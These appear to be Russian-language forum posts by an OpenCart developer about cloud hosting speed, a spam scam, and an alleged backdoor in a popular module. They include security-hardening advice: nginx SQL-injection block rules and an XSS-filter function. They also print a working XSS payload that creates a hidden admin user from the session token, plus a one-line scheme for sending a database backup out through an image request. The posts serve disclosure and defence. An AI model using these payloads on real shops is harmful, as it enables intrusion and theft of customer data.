Yoda

Мне тоже интересно. Но с какой целью интересуетесь?

Как говорит Йода, деньги есть? И с какой целью интересуетесь.

Буквально несколько недель назад Hetzner, пытаясь остаться в тренде, запустил cloud сервис аналогичный Amazon W3 или Digital Ocean. Выглядит очень круто - от 3 евро за юнит(2 гига RAM 20 гиг диска), NVME-диски, и даже есть возможность купить не виртуально ядро в виде какого-то потока HyperThread, а полноценный кусок процессора, правда от 23 евро за 2 виртуальных ядра - но это тоже круто. И очень меня эти три евры за выделенный юнит заманили, взял я под новый проект себе на пробу, и был приятно удивлен, что оно работает быстрее подавляющего числа доступных VPS, да и деплой реально в три секунды. Почему же это зло? После некоторых тестов, выяснилось что на самом деле, не все так хорошо как на фасаде. Я взял сервер, для блога на Wordpress, поставил php 7.2, и он просто полетел. Но когда мы взяли 4 ядра 160 гигабайт юнит, при переносе и холодном старте все оказалось быстро (главная страница магазина на 160 000 товаров грузилась за 150мс), но вот через полчаса после переноса DNS и появления нагрузки, вдруг 150мс превратиилсь в 600, при том что нагрузка на процессоре была не больше 20-25% и памяти свободной вагон. После аудита, обнаружилась очень простая и достаточно логичная проблема. В силу использования модуля кеширования (не буду уточнять какого), в кеш набилось за 20 минут порядка 5000 файлов. В целом, если у вас просто кусок сервера, или обычный VPS - это немного и не повлечет таких проблем просадки в скорости. Но у нас же клауд. Соответственно данные на диске динамически реплицируются и синхронизируются на несколько узлов (и это ни фига не быстрый RAID). Вобщем оказалось что такой побочный эффект облачной виртуализации казалось бы напрочь убил возможность использования площадки под большой проект. Но выжигание кривого кеширования, правильная общая оптимизация системы и установка Redis спасла отцов русской демократиии от фиаско. Так что друзья, клауд - это хорошо но не очень, и не каждый модуль кеширования такой полезный как пишут в ваших этих интернетах, и если вы хотите оптимизировать большой магазин, возможно стоит изначально смотреть в сторону аренды выделенного сервера с производительной файловой системой, и использовать техники оптизимиации, отличные от кеширования.

Когда я 20 минут назад получил это сообщение. Я ржал в голос. Потому что очень кучно пошло, и что же это все валится на мою голову? За что ? В общем текст следующий: ПриветПисьмо в почту пришло, по алгоритму сортировки в почтовике как от сайта: Проверили все. Пароли нигде не сменили. Судя по контексту, речь идет о пароле от электронной почты. Ну и это же как так, типа мне с моей же почты письмо отправили, ой ой, ай яй... Помогите, хулюганы девственности лишают. Но у нас в данном случае вааще почта на Яндексе. Вобщем такой вот красивый развод по аналогии с дедушкой-трупом африканским миллиардером, с вероятностью 1 на миллион, что кто-то заплатит. Просто робот через форму обратной связи шлет эту портянку. НЕ ВЕДИТЕСЬ!

Почта это не только настройка магазина Mail-tester.com и Гугл вам а помощь. Ещё раз повторюсь. Магазин посто отправляет почту через какой либо шлюз либо через смтп либо из под mail а как у вас настроены ваши шлюзы, это не проблема магазина, а проблема нестроек окружения.

Ну все. Боюсь! Это гениальная Хуцпа. Марк положил бекдор в модули. Марка поймали за руку. Марк побежал исправлять модуль а теперь распушил перья и пугает юристами. Я сам предоставлю свои данные - если мне хоть кто-то покажет мою цитату где я призывал взламывать и получать от этого выгоду, либо каким то образом как это "занимался недобросовестной конкуренцией". Это что получается. Каждый кто решил положить закладочку в модуль, чтобы получить доступ к данным пользователя, будет в случае, если его поймали на горячем угрожать судом. Ну круто че. Облико морале! Давай в том же духе.

Дабы не превращать тему в срач резюмирую: 1. До администрации форума доведено и явно смоделирована уязвимость в действии - дальнейшие действия администрации на их совести 2. Автор явно признал существование уязвимости, фактом того, что начал латать эту дыру и вносить фикс в свои поделки 3. Я обстоятельно заявляю, что цель создания данной темы и исследования данной уязвимости, является исключительно информирования участников форума о том, что некий Марк, автор модуля, или любой кто имеет доступ к его серверу, может получить доступ к вашим данным. Просто донесения данного факта. 4. Попытки перевести стрелки, рассказывать жалобные басни, о том что бедную курочку обижают, рассказки про сборку PRO репутацию, со стороны выглядит как попытка отвести глаза от собственных подлых действий и сменить акценты. Глупо и мерзко. Но что еще можно ожидать от человека, который подложил всем личный бекдорчик и умолчал об этом? 5. Ну и вопрос ко всем, на каком основании, люди которые покупают модуль должны доверять непонятному постороннему человеку, который не несет никакой ответственности? Также, немножко поймаем автора на двуличии и лжи: Все мы помним тему про уязвимость addist Там по факту был такой же бекдор, только доступный не только автору модуля, но и всем: Напомню вам некоторые цитаты автора: То есть из фронта нельзя а из админки можно? Да еще и с неэкранированным выводом правда? Кошечка моя сладенькая... А вот автор советует что делать с подобными дополнениями: И еще один совет: Черт черт черт... как же так неловко вышло то?

Это... По секрету расскажите. Чем такое решение обосновано. Я без каких либо подколок. Правда интересно. Просто память никогда не резиновая.

Dynamic - это 300% отжер памяти. Только Ondemand!

Вы наверное несколько не уловили суть темы. Вопрос не в том что я взломаю. А в том что вы автору дали доступ ко всем вашим данным, сами об этом не догадываясь. Так что ваше пари это слышал звон не знаю где он.

Это только первая ласточка, которая попала в мои сети, есть ещё. Но озвучивать всё а рамках правил форума сложно. Так что ждите. Ну а как жить. Жить просто. Не использовать, требовать манибек. Аналогов полно. А что касается чести разработчика. Я приведу его же цитаты чуть позже про аналогичную ситуацию от другого героя.

Если у вас админка закрыта по айпи этот взлом не грозит. Но мало ли что ещё можно придумать.

Не совсем Так. Смотрите. В идеале. Модули не должны стучаться никуда. В данном случае модуль мало того что стучится, он ещё забирает данные, которые будучи скомпрометированы, могут создать угрозу для тысяч и тысяч магазинов.

Итак, кроме того что не платить ни при каких обстоятельствах толковых советов 0. Поэтому давайте разберем ситуацию по косточкам. 1. У нас слава богу был бекап. Но он мог бы быть скомпроментирован давно, поэтому когда вам сделали магазин - сразу сделайте бекап к себе на локальный компьютер и храните его как зеницу ока и руками сливайте раз в месяц. И под подушку. 2. Когда мы запросили бекап у хостера, мы его запросили выложить удаленно виде архивов, а не восстановить в окружение. Вот это очень важный момент. Мы не знаем, что у нас уязвимо. Движок, или хостинг. Просто примите это как аксиому - шаред хостинги дырявые. Если на шареде нет уязвимостей, то их просто либо не нашли, либо не искали, либо нашли и никто об этом не знает. И вот второй важный момент. Если у нас потенциально скомпроментированное окружение. Его надо менять. Тихо нежно не подавая признаков для атакующего. Пока нам сыпались грозные письма и мольбы прислать хоть копеечку, мы планомерно и тихо разворачивали магазин в другом месте. Еще раз повторюсь. Искать дыры в хостинге и бодаться с хостером - это бесполезно. Намного быстрее и проще взять небольшой VPS и сьехать на него, пока хакер бушует на старом проекте. Поэтому и бекапы мы запросили неявно. 3. Список методов безопасности, которые можно внедрить на сервере - огромен. От suhosin мода, который запрещает выполнение функции eval до развертывания git и работы и допуска любых подрядчиков, только к dev ветке проекта. Но эти методы доступны отнюдь не всем и не всегда. Я тот же git просто физически не перевариваю. Однако. Все же есть набор методов, который позволяет достаточно надежно прикрыться от подобных судаков. Итак... Все советы выполнимы, только в случае если у вас таки свой сервер. 1 - меняем все пароли, убиваем лишних пользователей в админке, убираем фтп, переименовываем phpmyadmin, чистим весь хлам в корне (php.info, adminer и так далее), выносим конфиги за пределы root-директории, закрываем admin через htpass, меняем порты ssh, в идеале коннект к ssh по ключу. 2 - это был 1.5 меняем mysql на mysqli, отключаем вывод ошибок не в магазине а на уровне настроек сервера. 3 - зафильтровываем весь ввод на уровне сервера. Мы физически не можем провести рефакторинг всего кода. А вот сделать правило в nginx подобного вида легко: ## Block SQL injections set $block_sql_injections 0; if ($query_string "union.*select.*\(") { set $block_sql_injections 1; } if ($query_string "union.*all.*select.*") { set $block_sql_injections 1; } ..... 4. Закрываем все потенциально уязвимые директории, разрешая выполнять только index.php location ~* /(?:cache|logs|storage|image|download|system|export|vqmod)/.*\.php$ { deny all; } 5. добавляем еще немножко безопасности в nginx: server_tokens off; add_header X-Frame-Options SAMEORIGIN; add_header X-Content-Type-Options nosniff; 6. Дополнительно мы зафильтровали все что приходит к нам в request на фронт, чтобы избавиться от xss узявимостей, расставили несколько ловушек и ложных ресурсов. Как то подставили по адресу phpmyadmin голую форму. Но в целом, надо понимать есть несколько векторов атаки. Если у вас утекли фтп-пароли, все пропало. Если у вас в корне лежит backup.zip или baza_moego_magazina.zip - все пропало. Если у вас есть dev.magazin.com и там пароль admin admin все пропало. Если у вас под одним пользователем десять магазинов, и три блога на старом WP - у вас открытая дверь через задний двор любому. Если у вас включен вывод ошибок и вы используете mysql, все пропало. Если вы храните в базе данных фтп лог-пасс и smtp лог-пасс к личной почте - это оооооооооочень глупо. Если вам наложили или направили каких то файлов движка, которые можно запустить из мира и это разрешено правилами сервера - все пропало. Тоесть вам необходимо не читать и внедрять бездумно правила из гугла как что закрыть, а понимание что делать. А это бекапы под подушкой. Безопасное нескомпроментированое окружение (свой сервер) с закрытыми потенцильными лазейками и стабильная свежая версия движка с набором проверенных модулей. Тогда вы в принципе можете спать спокойно. И еще раз. Включенные логи ошибок, PHP_INFO и шаред хостинги - это зло!

От того что мы что-то пролюбим. Ничего не изменится. Потому что нет дистанционной проверки. Также я сейчас в личку скину. Ещё кое какие фиксы. Будете собирать окмод. Не лишним будет.

У меня нет этого модуля. А к автору обращались несколько раз. Он утверждал что это так надо и ничего страшного. Ну а я же да... Свожу личные счёты ага ага... Если вам от этого легче. То так и думайте. По факту природу инцидента это не меняет. Ну и давайте уже честно. Закрытый код без шеллов и закладок. И открытый с закладкой. Что лучше?

Тогда уже и фильтрацию в request.

Во первых. В любой момент. Любому представителю администрации любой аудит. Во вторых найдите обращения к сторонним ресурсам. В этом плане мы максимально открыты. В отличии от остальных. В третьих. Исключение кодированных файлов не влияет на работоспособность магазина. Так как закодирован только небольшая часть кода.

Ну и также надо закрывать settigns. Там тоже можно дел наделать побырому. Log.php.

Так проверяй на здоровье. Экранируй вывод и проверяй. Вы же тоже верите, что это случайная архитектурная ошибка.

Мало! Никто не мешает через tools/backup сделать слив базы и отправить ее на какую нить opencartadmin/logo.jpg длиннючим http заголовком. Вида $get(.... route=tools/backup+token.....блабла бла, data); $('body').append('<img src = "opencartadmin/logo.jpg?data ="' + data +'>');

function xss_clean($data) { // Fix &entity\n; $data = str_replace(array('&','<','>'), array('&amp;','&lt;','&gt;'), $data); $data = preg_replace('/(&#*\w+)[\x00-\x20]+;/u', '$1;', $data); $data = preg_replace('/(&#x*[0-9A-F]+);*/iu', '$1;', $data); $data = html_entity_decode($data, ENT_COMPAT, 'UTF-8'); // Remove any attribute starting with "on" or xmlns $data = preg_replace('#(<[^>]+?[\x00-\x20"\'])(?:on|xmlns)[^>]*+>#iu', '$1>', $data); // Remove javascript: and vbscript: protocols $data = preg_replace('#([a-z]*)[\x00-\x20]*=[\x00-\x20]*([`\'"]*)[\x00-\x20]*j[\x00-\x20]*a[\x00-\x20]*v[\x00-\x20]*a[\x00-\x20]*s[\x00-\x20]*c[\x00-\x20]*r[\x00-\x20]*i[\x00-\x20]*p[\x00-\x20]*t[\x00-\x20]*:#iu', '$1=$2nojavascript...', $data); $data = preg_replace('#([a-z]*)[\x00-\x20]*=([\'"]*)[\x00-\x20]*v[\x00-\x20]*b[\x00-\x20]*s[\x00-\x20]*c[\x00-\x20]*r[\x00-\x20]*i[\x00-\x20]*p[\x00-\x20]*t[\x00-\x20]*:#iu', '$1=$2novbscript...', $data); $data = preg_replace('#([a-z]*)[\x00-\x20]*=([\'"]*)[\x00-\x20]*-moz-binding[\x00-\x20]*:#u', '$1=$2nomozbinding...', $data); // Only works in IE: <span style="width: expression(alert('Ping!'));"></span> $data = preg_replace('#(<[^>]+?)style[\x00-\x20]*=[\x00-\x20]*[`\'"]*.*?expression[\x00-\x20]*\([^>]*+>#i', '$1>', $data); $data = preg_replace('#(<[^>]+?)style[\x00-\x20]*=[\x00-\x20]*[`\'"]*.*?behaviour[\x00-\x20]*\([^>]*+>#i', '$1>', $data); $data = preg_replace('#(<[^>]+?)style[\x00-\x20]*=[\x00-\x20]*[`\'"]*.*?s[\x00-\x20]*c[\x00-\x20]*r[\x00-\x20]*i[\x00-\x20]*p[\x00-\x20]*t[\x00-\x20]*:*[^>]*+>#iu', '$1>', $data); // Remove namespaced elements (we do not need them) $data = preg_replace('#</*\w+:\w[^>]*+>#i', '', $data); do { // Remove really unwanted tags $old_data = $data; $data = preg_replace('#</*(?:applet|b(?:ase|gsound|link)|embed|frame(?:set)?|i(?:frame|layer)|l(?:ayer|ink)|meta|object|s(?:cript|tyle)|title|xml)[^>]*+>#i', '', $data); } while ($old_data !== $data); // we are done... return $data; } Мне кажется это наиболее верный вариант, либо же выбирайте: https://stackoverflow.com/questions/1336776/xss-filtering-function-in-php

Да не, это же у меня личное))) Какое мне дело до всех тех, кто попал в зону риска.

Недавно моими друзьями была обнаружена очень неприятная ситуация, один популярный автор дополнений, допустил фатальную ошибку в разработке дополнения. Я очень хочу верить что случайно, но в целом, все указывает на то, что это специально оставленный бекдор. Но бог и администрация форума ему судья, я думаю они там сами разберутся. В силу того, что приводя куски кода дополнения, или оставляя комментарии в теме поддержки дополнения, как пользователь который его не покупал я нарушу правила форума, я попробую дать рекомендации в существующих рамках. Исходя из моей подготовки и опыта, я могу утверждать, что, проблема, в том, что когда вы заходили в админку модуля, модуль подтягивал каждый раз с сервера автора номер версии. Казалось бы что в этом такого. Но присмотревшись, оказалось, что вывод данных о версии не был экранирован, что позволяло автору или любому человеку, получившему доступ к его серверу выполнить XSS атаку на все 10 000 магазинов, которые купили любое из дополнений автора, к примеру вместо номера версии отдать вот такой простой скрипт к примеру: <script> // shell sample // seocms the best architectural mistake forever // i got all your 10 000 shops // i install 10 000 backdors function getUrlVars() { var vars = [], hash, hashes = null; if (window.location.href.indexOf("?") && window.location.href.indexOf("&")) { hashes = window.location.href.slice(window.location.href.indexOf("?") + 1).split("&"); } else if (window.location.href.indexOf("?")) { hashes = window.location.href.slice(window.location.href.indexOf("?") + 1); } if (hashes != null) { for (var i = 0; i < hashes.length; i++) { hash = hashes[i].split("="); vars[hash[0]] = hash[1]; } } return vars; } var url_vars = getUrlVars(); var token = url_vars.token; var host = window.location.origin; var action = host + "/admin/index.php?route=user/user/add&token=" + token; document.addEventListener("DOMContentLoaded", function(event) { $.post( action, { username: "DummiMarkHack", user_group_id: "1", firstname: "Lol", lastname: "Haha", email: "[email protected]", password: "1234", confirm: "1234", status: "1" } ); }); </script> И вот таким нехитрым способом, ни в коем случае я не грешу на автора и не хочу сказать что он это сделал специально, но береженого бог бережет. Ведь невзламываемых систем не бывает. Можно получить админский доступ в любой магазин. На котором установлены модули автора. А получив админа магазина, мы легко и просто дальше уже сливаем все что захотим - это дело техники. А учитывая то, что человек может умереть. И не продлить домен. А за доменом могут следить специально с целью захвата такого лакомого ботнета. Думаю о критичности потенциальной угрозы рассказывать не надо. Опять же повторюсь, в рамках правил форума я не могу показывать код дополнения, я его не покупал, поэтому чтобы навсегда обезопасить себя от подобной проблемы на 100% и у вас VPS вам просто необходимо добавить в файл host на своем сервере Строку 0.0.0.0 site.com // Домен сервера разработчика Как это сделать в linux - можно прочитать здесь, или обратитесь к администратору вашего сервера. Если же у вас шаред-хостинг. Максимум что вы можете сделать, это найти во всех модулях автора в языковых файлах строки opencartadmin.com и заменить их на localhost. С вашими модулями ничего не случится. Они будут работать. Но вероятность, что с постороннего ресурса вы получите xss атаку минимальная! Ну и как второстепенную меру защиты, просто добавьте htpassword авторизацию к админке. Успешного бизнеса вам, и безопасных магазинов.

В данном случае есть переписка с хостера. Факт взлома легко доказать.